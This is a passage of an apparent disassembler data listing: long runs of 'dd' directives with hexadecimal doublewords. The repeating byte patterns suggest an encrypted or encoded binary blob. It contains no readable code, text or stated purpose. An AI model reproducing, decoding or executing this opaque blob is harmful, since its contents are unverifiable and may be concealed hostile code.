0ADC58956h, 95E3CF98h, 57BE3256h dd 0EAB13252h, 14EF6336h, 3EBE3256h, 5DB1325Ah, 0AEB7B759h dd 0D7BE3256h, 0ABB13256h, 0D3583256h, 33B13256h, 0AFC86153h dd 4FB1321Bh, 5DBBB459h, 24D13256h, 8079B3A6h, 0CAA1A11Eh dd 0B5D13256h, 41DCDCD7h, 0F0BE4F67h, 0BAB13256h, 5DB6DB37h dd 3A83256h, 94CF1912h, 0ABB15381h, 0D5B120BFh, 0EF48F756h dd 0D500B0E5h, 4E2069Dh, 1651EB44h, 0AE05F5F1h, 57A1DB56h dd 0A64C3256h, 60311274h, 5AA53D2Eh, 0F3A37FDCh, 0BAB1A7CEh dd 3CC68236h, 0AE4D3256h, 57B1CE56h, 0ABB137BFh, 95410B56h dd 0EAB130ACh, 75B13BBFh, 17F51D56h, 9140DDD7h, 2DBE79CCh dd 57B1325Eh, 0ABB3B559h, 0B4D13256h, 0EA483256h, 79373D56h dd 0B5B13256h, 5DB134DBh, 0AE3E3D56h, 57B13256h, 0ABB6DB56h dd 0FE5A3256h, 28739FC1h, 15B13207h, 0DC6FB930h, 0D09BD2D7h dd 0AEB1CB37h, 57B0B259h, 0AB443256h, 0C6595256h, 0BB13256h dd 0DFC035E1h, 687647EEh, 9A17A5C8h, 0A7C97DBh, 8E0F5A0h dd 0ABB1530Fh, 2DB132AAh, 0EA4D3256h, 7AD15256h, 0BAB132D6h dd 4E62B256h, 0EA52B337h, 36AEC954h, 0AB493256h, 0C53B3D56h dd 3B13256h, 75B1325Dh, 47717507h, 10F794F2h, 0AEDBE740h dd 1C085256h, 0FDD65AB2h, 0D5B122BFh, 21C0E456h, 49E24081h dd 46EA4722h, 99EDDDA0h, 0AED06DFCh, 5B303D56h, 0A4B13256h dd 0D5B134DDh, 0EA3B3D56h, 75B13256h, 0B5D15256h, 0D1BEF5E9h dd 0AEB13256h, 57B15337h, 7A063D36h, 0D5B153AEh, 0EAB0B359h dd 754D3256h, 0BAB1CE56h, 5DB134BFh, 6B84F56h, 37E3F612h dd 0A49582E9h, 4F0B5463h, 0EAB15350h, 75B120BFh, 0EAD74D56h dd 2D70AEBFh, 307D0720h, 883A223Fh, 0AB4BC9E7h, 0D5B8DB56h dd 0DCE3256h, 4502A186h, 0BA29FAF7h, 5DB1CB56h, 0E40B5436h dd 0DDBE5382h, 0ABB13243h, 0D5B122BFh, 2E04C656h, 3B6C33FBh dd 1A9BAC79h, 0E15F141Ch, 0CEB132E6h, 0FB0E5405h, 22BE6B3Eh dd 0D5B13247h, 0EAB13EBFh, 0C275F556h, 9C262CA6h, 8282EC47h dd 0AEB153FFh, 57BCBE59h, 0CDD13256h, 5D1CF2D7h, 0EAB1B959h dd 75D03256h, 0BAB1CE56h, 3DB132AEh, 36FAD8D7h, 5B582F87h dd 68B13256h, 65343F88h, 4F7D5843h, 14885980h, 8A085436h dd 0C085455h, 0AEB153DAh, 57B138BFh, 82C62956h, 5E688DE1h dd 1F9DEBC0h, 9CD13256h, 0BAB1325Ah, 117DD11Ch, 4C96A503h dd 0AA62D02Eh, 0DAD3E3D7h, 0D5D02BF0h, 6BBECB56h, 75B13257h dd 46B132A3h, 0DCBE3256h, 0AEB1324Eh, 57BADB36h, 85513256h dd 0B1FA4D9Eh, 0E0B9DF9Bh, 0AD59B330h, 0DBBA53D1h, 5DB137BFh dd 0D604B256h, 57B12659h, 523A5436h, 0DAD0C2DDh, 0EAB133DBh dd 75B1CA56h, 0BAB137BFh, 468B1B56h, 0AEB13BD4h, 523E3D36h dd 0CDB13256h, 97A2D1D7h, 7F7AC5D7h, 75D06937h, 0BABADB56h dd 31393256h, 884E84F3h, 0F8A6761Fh, 57B13288h, 0DF583256h dd 0B7B13256h, 92F5AB8Fh, 1C1EDD09h, 52B132F9h, 0AEB133DCh dd 57B1CE56h, 0ABA2DA36h, 8B453256h, 312524BCh, 97AFE734h dd 17CD3B9Fh, 73F478DFh, 0F7D0528Dh, 36EBC0D6h, 0AB4D3256h dd 0D5B1CB56h, 0EAB13BBFh, 0AB6A756h, 0BDDA9626h, 5DB175B3h dd 56B132A3h, 584D3256h, 0ABB138DFh, 0D5B4DB56h, 0E9A53256h dd 75BA1909h, 0BB363D56h, 0A5B13256h, 0AE483256h, 0EE495256h dd 95E2F0B1h, 0DAB13237h, 0EAB133D9h, 75B1C756h, 0BAB5BD59h dd 0AD13256h, 0C8D15308h, 0EF7CF9EDh, 8995D435h, 0B5B13237h dd 4C3F8907h, 0FEEB30CCh, 0BAB15399h, 9A305436h, 5E31B7D8h dd 57B153C8h, 7B305436h, 0B3D1CF25h, 23710ECh, 75B1325Dh dd 96A99B29h, 0AB6CCBFBh, 0F0C93398h, 57B15337h, 0ABB13EBFh dd 0D4075D56h, 37E330C6h, 2F128DD7h, 0DAB13256h, 0D649B930h dd 0AEB153A6h, 57B138BFh, 718B9C56h, 0D7D32496h, 0EA0D1DAAh dd 7E3A3D56h, 53B13256h, 5DB13250h, 60216F24h, 0DDBEC2EDh dd 0ABB13257h, 0B5B132AEh, 0EAB134BEh, 6B1C8956h, 0B5B079DCh dd 5DB132D2h, 2EE76A56h dd 36EAAC80h, 24BE3256h, 0D5B13257h, 0E03D3DA3h, 9CB13256h dd 0BAB13253h, 37309C5Ch, 0A1B13226h, 57B133D5h, 0ABB1CE56h dd 0D5B126BFh, 1F47E056h, 2131CBD0h, 41A8AA6Ch, 6860F014h dd 180D869Bh, 58B132D6h, 0ABB13ADCh, 54BE5256h, 0EAB13256h dd 15B13237h, 0DB4DF4DDh, 52D13256h, 0AEB120DFh, 57BCDB56h dd 61A73256h, 3CD068BCh, 0C0CD6265h, 147924E0h, 3BD13256h dd 0E153D7B9h, 0AEA0DB20h, 4C023256h, 1823B9F3h, 12105BF7h dd 9C4DE908h, 14817E8Fh, 34BE3256h, 5DB13257h, 47B132A3h dd 57B13250h, 1AD9FF77h, 0D5B18E58h, 0EAB6B259h, 0F7BE3256h dd 0BAB13257h, 0B4B132A3h, 0AEB1325Bh, 6B8E202Ah, 0C19E6876h dd 42153E28h, 8AB1320Ah, 75BABA59h, 0BC583256h, 59B13256h dd 24452862h, 57B153AFh, 765EB336h, 0DABBDE54h, 0EAB132D4h dd 75B15356h, 3BBECA36h, 5DB13257h, 0AEB153A3h, 57B0BC59h dd 0AB443256h, 0D5A2DB56h, 0D2A43256h, 45587C2h, 53EE233Fh dd 0E6E0A087h, 0B740406Bh, 0AFB132A4h, 24BE3256h, 0D5B13257h dd 1FB132AAh, 0F4D13256h, 7246A180h, 5DB8DA2Fh, 3F433256h dd 50074FEAh, 200EEE10h, 0D5D06CA6h, 0E23B3D56h, 15B13256h dd 0A06FB330h, 52D0CA2Eh, 0AEB13EDAh, 51353D56h, 0A4B13256h dd 0D5B132D4h, 13B13256h, 75B9B959h, 3BBE3256h, 5DB13254h dd 0AEB15336h, 57B13ABFh, 5C2F8056h, 8C6A33D5h, 13B1325Bh dd 75483256h, 0BAB1CE56h, 7742B336h, 0C89C37E2h, 57D0E8DDh dd 0AA343D56h, 20B13256h, 3D13256h, 75B1325Eh, 7DC98F51h dd 1AE99BE9h, 0AEB4BF59h, 0D6D73256h, 0CA2C3A8Fh, 0D54D3256h dd 0EB3F3D56h, 80B13256h, 0BA483256h, 5DB1CA56h, 0AEBEDA36h dd 0ACF33256h, 0EB48F44Bh, 22B29E3Bh, 0D6C4298h, 7679B348h dd 0E5FD5E13h, 5DB13ABEh, 2D3EB456h, 0B023658Fh, 0EC51B31Bh dd 8FAC411Dh, 3B13237h, 75B13258h, 656ABD38h, 1C981BD7h dd 0FDE9AFCh, 57B1DA9Bh, 630E3D36h, 0B5B13237h, 0EAB2B959h dd 0FED73256h, 0BAB15397h, 5DBAB259h, 0A8583256h, 0CDB13256h dd 9C029AB8h, 5ED7529Eh, 3B3A5497h, 80B13237h, 0BA443256h dd 47323D56h, 0CEB13256h, 57B122BEh, 12287656h, 6ED5DBDEh dd 8C36FA10h, 69129B7Eh, 0DBD16C46h, 0A8B13237h, 0AEB7DA36h dd 0C01D3256h, 0CA70BD62h, 0B4EB7AE5h, 3D13256h, 75B13258h dd 0F79FEDD4h, 706B6BB8h, 2AE0F743h, 0D1BED5A0h, 0ABB13257h dd 0DC5853AAh, 0E7B13256h, 7EACECC5h, 74076033h, 72025236h dd 0A45853A3h, 0A6B13256h, 0AB2A582Ch, 0CC10B101h, 0EAB1DA54h dd 0F4EB3256h, 0A23FFABCh, 553F3D50h, 0A1B13256h, 57B130D9h dd 53D05256h, 36305436h, 8B48402Dh, 75B13ABFh, 98B25B56h dd 4D39C850h, 2F34BF86h, 58B725DDh, 0ABB13EDEh, 0D3313D56h dd 0E5B13256h, 75B132D6h, 5733BB56h, 0B4B72A21h, 0AEB1325Fh dd 0A93F3714h, 0B8A06748h, 5533BFFAh, 12B72B1Ah, 0DA2B0DFh dd 53D1344Eh, 5DB13259h, 2036D293h, 0CE794A3Eh, 5A9FC913h dd 3C3699ABh, 0EAB1325Eh, 0CA12E0FCh, 0C73E92C3h, 6853DA37h dd 0A1D13256h, 57B124DCh, 0ABA1DA56h, 2B253256h, 3B8CE92h dd 95BF9F7Dh, 92871720h, 52EFD7CFh, 0AEB131D1h, 0AE0E3D56h dd 0A91CDA37h, 12443256h, 0F2C641D4h, 75B13250h, 3DBE5256h dd 5DB1325Ch, 0AEB137BFh, 0ABAA756h, 0AE5962D9h, 71B13256h dd 1938764Dh, 75B135BEh, 7C960956h, 0DA7721F5h, 47D0690Eh dd 57B1325Dh, 7820C12Dh, 9526DACCh, 0B84EEB0Dh, 75A1DB36h dd 619B3256h, 4CC7F67Eh, 63F20918h, 33BBE4B4h, 25BED2F4h dd 0D5B13256h, 9B34F437h, 23B7207Eh, 0BAB121BFh, 0AA9C2E56h dd 6BBCAC9Eh, 34A66ACFh, 3AA27603h, 0A83375A5h, 4209603Eh dd 665852CAh, 63B13256h, 2CC7D6C2h, 0E897803Dh, 11FD759Bh dd 3FBDFC4Dh, 3530A99Fh, 0A28CEE70h, 9C04CD37h, 0B5B72066h dd 5DB126D1h, 0AEBEDB56h, 0E4053256h, 5F889E55h, 388A1235h dd 0F5C56CA0h, 4034BFECh, 0DAB72729h, 5DB121BEh, 0A1246E56h dd 9AD0E4BDh, 1EC1E47Eh, 5E8D6ABEh, 8814921Dh, 75B13EBEh dd 6FCA7256h, 0FE6895ABh, 0F2CBE95Ah, 31EF6AB7h, 0CA45E9EFh dd 0D358E2A9h, 0B4B13256h, 8E8BBBEBh, 3B34BB83h, 52B72046h dd 0AEB13EDFh, 513C3D56h, 0A4B13256h, 0D5B132DAh, 3B55856h dd 75B1325Ah, 803ABF73h, 0A356CFC3h, 619CF663h, 57A1323Eh dd 0ABA0DB56h, 3E6C3256h, 5617181Ah, 6AE5515Eh, 0ECB0B60Ch dd 3597AF8Eh, 0AEB23F16h, 57BDB959h, 21BE3256h, 0D5B13250h dd 0EAB1BA59h, 75DB3256h, 0DCE152AAh, 8794D2D7h, 0AEB8DB0Fh dd 0FD33256h, 0BD5FD280h, 0B4BE4726h, 0FB58E2A9h, 0D7B13256h dd 6DAF821Eh, 9032D199h, 29B31DF4h, 0C700E0D6h, 0ABA1DB0Ch dd 0C0583256h, 7BD1FACFh, 774139F4h, 0F4C8ADA4h, 9DBA3B85h dd 0AE1DB659h, 31D13256h, 0CA7B10E9h, 0A2C2B0DFh, 634D344Eh dd 6DC64FD4h, 3ABE5250h, 5DB13257h, 0AEB7DAAFh, 0D50C3256h dd 0BF934B1Dh, 6CD06CA3h, 0EAB23F16h, 75B137BFh, 0AE76F556h dd 0A53A701Eh, 0D66C8B36h, 58E10C08h, 0ABB132D8h, 0E6D06956h dd 1948CE96h, 74343DFCh, 4FB13256h, 5DB7DB04h, 78833256h dd 61B1068Ch, 24BE363Ch, 0D5B13257h, 0FAB15AAFh, 1D493256h dd 0BAB13656h, 5DB13ABFh, 7689FB56h, 0A233BDC9h, 42B1583Ch dd 0D5B13244h, 0E0CE973h, 0E95F74AFh, 0D8136CEAh, 97898900h dd 3C4EE5AAh, 51A322D7h, 224868AEh, 0CDCB2BD4h, 8AD0CB50h dd 75B126BFh, 4EBF4B56h, 0F87BC148h, 0FB97D112h, 0C283C4FFh dd 9DDE3553h, 0D5BCDBA4h, 0CBF63256h, 0C711F03Dh, 3BC2938Bh dd 3C2DD423h, 0D9C2B7DDh, 5958344Eh, 0A6B13256h, 87995B90h dd 4F20BFADh, 7401638Fh, 0DA48F19Ch, 49585236h, 3BB13256h dd 0F7635B16h, 1A610774h, 0B85B7D50h, 0B414B6E8h, 0CEF7FBFFh dd 8B342412h, 5DBBDB37h, 932D3256h, 78F0666Bh, 0E3AB523Dh dd 7833F537h, 0EAB72057h, 7AB17256h, 0BAB13CDAh, 5DB8DB56h dd 0AD6C3256h, 63771C60h, 6CD5B1BAh, 0C7A39FD4h, 0EAA13250h dd 61363D56h, 0DAB13256h, 5DB13BBFh, 5783656h, 76999C45h dd 13D70D50h, 0B4D08E8Dh, 0EAA1DB36h, 241D3256h, 0B0B3AA9Bh dd 8F1C15BEh, 0D0B19E2Ah, 0AFD0709Ch, 743A5295h, 0DC585237h dd 98B13256h, 2EBEB744h, 5AC89B38h, 2AC288DDh, 2D48344Eh dd 0D3BE3269h, 0ABB13226h, 0B446B836h, 0FACEB1A3h, 5E353D54h dd 42B13256h, 59A14DD5h, 0AEF0B659h, 58D13256h, 0ABB130D8h dd 0DA43B956h, 0EAB133D6h, 15D0CE56h, 0DB4FB9AEh, 0A1A5F5D5h dd 514E8CBFh, 1076C7A9h, 0ABB13346h, 3C58C756h, 34ECDA9h dd 75B13259h, 1EC2FC0Eh, 202A3F1Ah, 0AD7CF8DDh, 90D989F0h dd 0ABB22211h, 53BE3256h, 0EAB13257h, 8A73DBA3h, 4F48CDA9h dd 55303D37h, 0A1B13256h, 57B130D7h, 68D05256h, 0D5BDDA36h dd 0C8B53256h, 0C276F2E7h, 0AEE149CBh, 0E4D75345h, 1CE999E6h dd 5B585339h, 0B8B13256h, 4FFD89ECh, 0D0E9749Dh, 20AFC872h dd 306BB936h, 0B13A53ACh, 0BF5852AFh, 9B13256h, 0ECD1DCD4h dd 33DBD57Fh, 0C831050Dh, 0A4A86C83h, 0BAB132BEh, 0B7306856h dd 0A8A9A1F9h, 8231CA36h, 0CBD15379h, 31F8830h, 8CD05336h dd 1492F8EFh, 0C08B80DDh, 0D644344Eh, 274D3A13h, 50303D50h dd 0CBB13256h, 53047CEFh, 6832534Dh, 73A9486Ch, 0AC343D52h dd 0B4B13256h, 0AEB13247h dd 0B4DA620Eh, 3F510E29h, 0DCE5576Bh, 19ACD47h, 0FFBE5354h dd 0BAB13251h, 5DB0B459h, 67493256h, 57ABB059h, 0CDD13256h dd 3C88CCEEh, 0EAB13259h, 0B35EF21Fh, 441C296Dh, 0A858F9F5h dd 0CF384AD9h, 58B13694h, 0ABB12CD6h, 0C7595256h, 5BB13256h dd 2951465Fh, 0B036AE51h, 2DC37ADh, 93126A03h, 0EFD76B7Ch dd 0CBD05209h, 35305436h, 0E1585040h, 0B6B13256h, 1CB99B59h dd 0C4CFF3B4h, 46D08535h, 57B13256h, 0D15BB30Ch, 0B5B72AC2h dd 54D7DDDCh, 7AD0291Ch, 0BAB138D6h, 5DB4DB56h, 0BDD73256h dd 0DC79F5EDh, 0B3CB2BE4h, 0C5383D50h, 3B13256h, 75B1325Dh dd 0B9316CBCh, 0B54C63Dh, 95D02AB2h, 4FCB08E4h, 0D6353D50h dd 3CB13257h, 0EAB13242h, 0B7E874FCh, 87671D60h, 3413BDE9h dd 50D8A63Ah, 57B29511h, 22BE0CDDh, 0D5B13250h, 0B30F5436h dd 0AA3A53DEh, 0BAB138BFh, 3D79AB56h, 5EBA90C7h, 582EC054h dd 0ABB124D2h, 0D5A0DB56h, 88393256h, 584E3122h, 0F13FBAFEh dd 352CA033h, 0A1D3A2F7h, 0BEB07DE0h, 0ABB13245h, 2FA4323Fh dd 0AE7855D3h, 9B23CEC1h, 0ACA8F26h, 0ABE85C5Dh, 0A1313311h dd 57B12CD3h, 0A2055256h, 95908C30h, 16683137h, 75B129BFh dd 0BAB8DB56h, 0A8DB3256h, 47F70894h, 7C60002Ch, 0A4D1528Fh dd 0D5B132D3h, 8BD0CB56h, 7AF2C715h, 0BAB123DAh, 5DBDDB56h dd 8C933256h, 8E0641F9h, 74B8D8C5h, 503A64F9h, 0ECA33EE7h dd 61343DAEh, 0B5B13256h, 5DB13CDEh, 0AEB8DB56h, 707F3256h dd 0E6F0B0F5h, 5EB69401h, 0F8AFE3DBh, 0FEBE5250h, 0BAB13255h dd 3D7EB930h, 2567B930h, 58D053A1h, 0ABB120DBh, 0D5BCDB56h dd 0AA0E3256h, 3F9076A5h, 7548FDBBh, 6650EB83h, 9B333D8Eh dd 0AEB13256h, 2CBEEB6Dh, 0D5B1327Ah, 0EF393D36h, 13B13256h dd 24C3D0D7h, 5977B137h, 0AEA1BB59h, 5C583256h, 48B13256h dd 6F028F2Eh, 1E7D590Dh, 0DD58A3C2h, 434ECDA8h, 0D9BEFD6Dh dd 0AEB1327Eh, 3865B236h, 163853AEh, 0D3A32C87h, 14C0DBA3h dd 0FABECDA9h, 0BAB13246h, 5DB139BFh, 89E42E56h, 0B1226766h dd 0C2D59584h, 0D5BADB37h, 44513256h, 0C4ADCA9h, 32DC96A4h dd 5358F10Bh, 55B13256h, 0E4716FF4h, 221F7039h, 47834763h dd 8CD152E2h, 8107C3DDh, 0BE373D37h, 3BB13256h, 0CFCB22ECh dd 57BADB36h, 6D4F3256h, 9628152h, 0B494BCECh, 75B1DA7Fh dd 3BEB3256h, 4527BEBCh, 47D1CA50h, 57B1325Dh, 4A1AB565h dd 9706040Ch, 8B55F6F0h, 0FA888DDh, 349344Eh, 5DB13356h dd 0AEBDBB59h, 0D7BE3256h, 0ABB13250h, 0D5B1B359h, 2A823256h dd 873A5436h, 0EA2D92E9h, 0F642536Bh, 0B733B9AAh, 0BEB72A2Ch dd 0ABB13242h, 0AC058A55h, 22A27F93h, 5BEDCBFCh, 7AB4465Ah dd 438FA69Dh, 0D48BB0DFh, 0DDBE344Eh, 0ABB13251h, 0D5B0B259h dd 8B493256h, 75BDB259h, 33BE3256h, 5DB13250h, 0AEB1BF59h dd 58723256h, 0ABB12AD6h, 0C7343D56h, 3B13256h, 75B1325Bh dd 8E936BB0h, 0B2BD457Eh, 9BCA5244h, 585852E9h, 77B13256h dd 99A9FB45h, 0AE483077h, 0FFC5B991h, 0BA59712Fh, 7B13256h dd 39E0D8D7h, 4358344Eh, 6BB13256h, 0FFCAED23h, 9C751A8Dh dd 368A7C47h, 0B067D09Bh, 52519032h, 0AEB129D4h, 44585256h dd 0E3B13256h, 58174F7Ah, 1508C4D8h, 844A9495h, 87BBCB76h dd 3C48419Dh, 86C0B790h, 0A2E73444h, 0B4DC0B3Eh, 0D5BCDB82h dd 47313256h, 0CA654B93h, 0C6119E4Ah, 0A2861E4Ch, 0BC81DBE3h dd 0D23CCE50h, 0ADA44D63h, 3C61CDAFh, 0EAB13251h, 0E91A06B5h dd 43B0285Dh, 0A8E1C704h, 0AE31323Eh, 51585256h, 0DDB13256h dd 2FA69B42h, 0E9303D59h, 13B13256h, 0D0D0E8DDh, 0EF4ECA56h dd 0A8A94525h, 57B6BC59h, 29BE3256h, 0D5B13257h, 0EAA5DBAAh dd 0ED603256h, 0FF5161A0h, 71B74E1Ah, 3F304555h, 0C8738A07h dd 7B4E485Fh, 5ED7CB36h, 3E953A4h, 75B1325Dh, 159EC32h dd 0D8B572CCh, 0F4627757h, 57BCDB36h, 3FBE3256h, 0B81ECED4h dd 0BC2D9A67h, 14EC941Bh, 3AB15AAAh, 37493256h, 0AF353D56h dd 0ABB13256h, 0D1A880A9h, 0D058344Eh, 4B13256h, 11E53870h dd 1C4C8B36h, 0E2BE553Ch, 7E4E53A7h, 57048C36h, 0CAD010ECh dd 62D1CE36h, 8B7BB880h, 7B58F137h, 0B1B13256h, 3B618617h dd 9243D385h, 0B48A1CB3h, 42E4CA99h, 0D5B1325Ch, 0FB7CF2A1h dd 0D30CCFEDh, 563A441Bh, 0D0BE52AEh, 0AEB13242h, 57B13DBFh dd 718DCB56h, 5068C364h, 0A05BE8D2h, 3BF5082Eh, 0BAB132BEh dd 0B7306856h, 0A8A9AA99h, 57B126BFh, 304C9356h, 37E1AB1Bh dd 0C676FD2Dh, 3842E504h, 17EA16B7h, 0DDE05268h, 0A1EE55BFh dd 57B132DDh, 24BE5356h, 0D5B1324Ah, 0EAA7BF59h, 64583256h dd 25B13256h, 28E07675h, 0B779CA60h, 8BC364DDh, 52DA247Dh dd 0B5B947DDh, 0EAB4BD59h, 0F4D73256h, 0B5D6F0BDh, 0B4D0FDE1h dd 0AEB13246h, 303A2A48h, 0AF81A229h, 34675923h, 0B3EE3349h dd 75BCC5BEh, 55305256h, 6D56BC35h, 0F9D16737h, 0D6E85336h dd 0A1835EBCh, 474E5323h, 0ECA945BBh, 9C348236h, 0BAB1325Ch dd 91F80C4Fh, 19D5D784h, 0AD07B46h, 0ABBAB559h, 0D3583256h dd 0E1B13256h, 9E07FB6Fh, 0B6C40939h, 0A203B759h, 0AB58CDA9h dd 0FFB13256h, 0FE8CF613h, 0D5BCADBEh, 52D75256h, 0A6303328h dd 0F04E3695h, 0DFBE5337h, 0AEB13242h, 57B13DBFh, 2FE91256h dd 3386A3D9h, 90267018h, 0DCC73E86h, 0B358529Fh, 9B13256h dd 44A130B8h, 0D2C9299Eh, 5178E0D7h, 0B5D00522h, 0EAB2B859h dd 0FED73256h, 0BAB8DBAFh, 67EF3256h, 0CD0518BCh, 36B59036h dd 42B13A94h, 0D5B13242h, 0B2127747h, 0CC8E8727h, 4F2D6F90h dd 65DAF532h, 10F8424Ch, 57B138BFh, 65F2B56h, 0C25D1A45h dd 0BF985071h, 155DB9AAh, 0BAB3B359h, 3CD13256h, 0AEB120BEh dd 4BDD6356h, 0BEB5629Dh, 4F2AA600h, 8BB928F6h, 9CB47F99h dd 0BAB13251h, 0AE4C3B8Eh, 0F5E07D05h, 0AB75B137h, 0ABB123BFh dd 75404956h, 89C0CC5Dh, 0EC755319h, 0C5AEED6Fh, 0A4E7004Eh dd 0AEB6B659h, 0DDBE3256h, 0ABB13257h, 51BE65AEh, 0EAB1324Eh dd 75B121BFh, 6E88FE56h, 205786A9h, 316D147Eh, 43E548F5h dd 803E0C31h, 0DC585205h, 4AB13256h, 0A181F232h, 0BB43F632h dd 6A2E15E9h, 4649535Fh, 57B13256h, 115BB30Ch, 0DAB72ACCh dd 0EAB133D9h, 7B58CB56h, 5EB13256h, 0B41FD063h, 0D6A11284h dd 49267476h, 0A3C4B95Ah, 0C5CCB9A3h, 28086236h, 2FE0E479h dd 0F744F4D7h, 0AD008C1h, 464964A3h, 57B13394h, 0ABB135BFh dd 66786E56h, 27D95B50h, 0F1BEF25Dh, 0BAB13376h, 5DB0B859h dd 254D3256h, 58E4CEAEh, 0ABB13FDAh, 0D5B9DB56h, 95613256h dd 9A6E7BD5h, 284EDB79h, 5BA945BBh, 0AEA5B659h, 58583256h dd 0AFB13256h, 147E9781h, 6A099DF7h, 53F3058Bh, 0DAEC4A40h dd 0DD438559h, 95D0A4A7h, 0D3BE3E23h, 0ABB13286h, 0D5A9B059h dd 3D13256h, 75B1325Ah, 0B1F6A0A1h, 0F7076471h, 0FCF0B391h dd 0CDAECCEEh, 20D7531Ch, 0C4585248h, 11B13256h, 939391D1h dd 5809C355h, 3C7EF7C5h, 133C5D12h, 5C363D37h, 0CBB13256h dd 0D5B1BE59h, 55BE3256h, 9231538Dh, 0A43BCBA6h, 5DA5B559h dd 0A1583256h, 30B13256h, 0BBE66592h, 96A489FFh, 567C7F51h dd 9DD1E54Fh, 0BAB1325Dh, 7DACF79Fh, 0C80D23h, 0AB9AC0E0h dd 4831530Dh, 0D5BDDBA6h, 0A5D83256h, 0CC6A13C1h, 2F68537Ch dd 0EBD128CCh, 14D752E6h dd 36D1A686h, 4F595337h, 2CB13273h, 0EAB126BFh, 0E13A9556h dd 7A98C428h, 92F2AFD9h, 61767A29h, 5D558A85h, 5560DB6Ch dd 5FBECDA9h, 0EAB13257h, 74363DAEh, 46B13256h, 0A14D4FDFh dd 5147BABEh, 0D0BEC7A9h, 0ABB1325Eh, 0B35BB836h, 8B2747EFh dd 0F4D7520Dh, 443C590h, 43FBA5DAh, 26BE6D37h, 57B1325Bh dd 0ABB13ABFh, 0A26E1356h, 6842E46Bh, 9DE65227h, 0BAB13259h dd 0A2B4CFC5h, 0D14F63E9h, 0F571D4B7h, 0F2136FF2h, 90B540Eh dd 0E5EF53E0h, 75B133DCh, 0FF3ACA56h, 843A52AAh, 67D0F1DDh dd 57B13DBFh, 0AAFF4556h, 22F4DFAEh, 0C3259E26h, 2E5C2C10h dd 0DAB13E94h, 5D313D36h, 14B13256h, 4DFF1E3Eh, 42E45337h dd 0D5B13247h, 39EC3585h, 0F5A0A210h, 7E6482Ah, 938BC85Eh dd 475DB96Bh, 57B13259h, 7DCA19F9h, 0A766F927h, 9FC50E05h dd 0F647CE0Dh, 0ED4DCA92h, 0C4964AAh, 0AEB9B459h, 0D6BE3256h dd 0ABB13254h, 29E25336h, 0EA497791h, 7AB13256h, 0BAB133D2h dd 0DF76CE56h, 0A8A94B00h, 57B13257h, 0ABBDBE59h, 5FBE3256h dd 0EAB13250h, 75B1B259h, 0CF3A3256h, 0FE01525Eh, 0AEB138BFh dd 5C14A956h, 88F6089Bh, 0B4DBEBFAh, 3AFB930h, 75B13245h dd 6E970254h, 464FE714h, 8BF13350h, 435D8546h, 20DC2849h dd 0CDC641ECh, 0B53ACA50h, 134D525Eh, 0D55E5D7h, 526A3937h dd 0AEB15FD2h, 57A3DB56h, 68B73256h, 444C149h, 0C2CE5D50h dd 4B41A5CEh, 79E59514h, 0D8BEEC6Dh, 0AEB13261h, 57B13EBFh dd 0EA0B4356h, 0DDAFC983h, 3F632E53h, 79ECB998h, 342B336h dd 52FB0BC3h, 0AEB133DFh, 0ABD0CE56h, 42BD6DDFh, 0D5B1325Dh dd 6DF1A1D9h, 5D933778h, 39B90493h, 0B4442691h, 514ECDD8h dd 57B13BBFh, 91AC7556h, 0F5C5FB61h, 61D759B4h, 72383D48h dd 0B5B13256h, 5DB133D2h, 2FD1C756h, 71D82984h, 2BD0C76Ch dd 51BEDAADh, 0EAB13134h, 75B13DBFh, 0A8A1E856h, 3AAA973Dh dd 52891F59h, 0BAB06F6Bh, 0A458C9D6h, 0D5B277D2h, 0EAB9DB56h dd 0EBC03256h, 8353DCA2h, 0A6313BC4h, 81353DBDh, 0BEB13255h dd 0ABB13258h, 8DC6A674h, 0FE270E83h, 8BBF11DFh, 413159C8h dd 0A4353DB4h, 5BB13254h, 5852C9D6h, 0ABB3E4D2h, 0C1585256h dd 16B13256h, 5901B4ACh, 151D8BD3h, 0E962F90Bh, 7F6B873Ch dd 31C58B2Bh, 0CDD0E3DDh, 36D6C9D7h, 0E877B659h, 0FEBE3256h dd 0BAB13257h, 0AD56B2AFh, 0AEB8DBA3h, 59E23256h, 1AC3CFF8h dd 0B341CD66h, 6ABEC9D7h, 770DB659h, 3A4D3256h, 0D7D1C2B5h dd 75063DA6h, 274AB237h, 0A919B659h, 3CD13256h, 0EAB13258h dd 0DC6F35A8h, 0B8AF471Fh, 4B967936h, 2BBE4819h, 57B13256h dd 0B53A5437h, 0D5B126BFh, 0B5647F56h, 6CCB749Bh, 0C1125C23h dd 0A5824378h, 0EBEF689h, 0AF52B22Fh, 134AB2A3h, 0D4C7B659h dd 63BE3256h, 75B13258h, 0BAB4DB36h, 67233256h, 0FC06E560h dd 31D15309h, 0F81107EFh, 0BD3E8C30h, 0D431530Eh, 38353D53h dd 0DAB13257h, 5DB13ABEh, 5F1EE256h, 0B861C1DAh, 0F470B980h dd 3346FDD7h, 6AD030A8h, 0F1BE1F68h, 0BAB1337Ah, 5DB121BFh dd 8E893356h, 52AC3A50h, 15DDB989h, 0E26D8CA3h, 8E1AAE1Dh dd 7AD90CD6h, 0BAB039D2h, 5C3E3D56h, 52B13256h, 2EE7B0A9h dd 0CD48344Eh, 0B3D12CDDh, 0C54E0D7h, 0C381DEE9h, 5D31535Ah dd 5DBCDBAEh, 895D3256h, 2583A7F7h, 0F621B0F6h, 0B3008A20h dd 230C9D7h, 757FB659h, 37BE3256h, 5DB13257h, 0B03A54AAh dd 0A756B2AEh, 0ABB137BFh, 0FA8BD756h, 6BD7391Ch, 7A71B3ADh dd 0BAB199D2h, 5DB4DB56h, 34B03256h, 3791C838h, 64305436h dd 6ED7B739h, 0BFD0508Ah, 9823CDAEh, 0B5B72A21h, 5DB110D7h dd 0BA595256h, 0C7B13256h, 8F6EAAB6h, 0C7E0399Fh, 0BC2107B4h dd 0AB926B4Fh, 0E09E29BBh, 5DB1BF59h, 47D03256h, 57B13258h dd 3B8EA49Fh, 0C111D26h, 982BCF90h, 7AEC740Eh, 0BAB127DBh dd 0B5495256h, 0AEB1325Ah, 0ED18F351h, 0A3FD039Fh, 773A2745h dd 0AF38530Ch, 75A1DBAAh, 90823256h, 0E3B1DEB5h, 0A6130E77h dd 17A237CFh, 0A4D05251h, 0D5B133D9h, 9732C756h, 0F0BE33AAh dd 0BAB13390h, 5DB135BFh, 993C2B56h, 2D9F90A4h, 0AA1C88DDh dd 85443444h, 0BC33B9AAh, 9CB72A2Fh, 0BAB13250h, 0F9B58368h dd 92882A19h, 5F353D66h, 0A4B13256h, 0D5B130DAh, 0B2D05256h dd 7439B059h, 31493256h, 4FA39FECh, 19BE5250h, 3669B9A7h dd 42D15206h, 0D5B13245h, 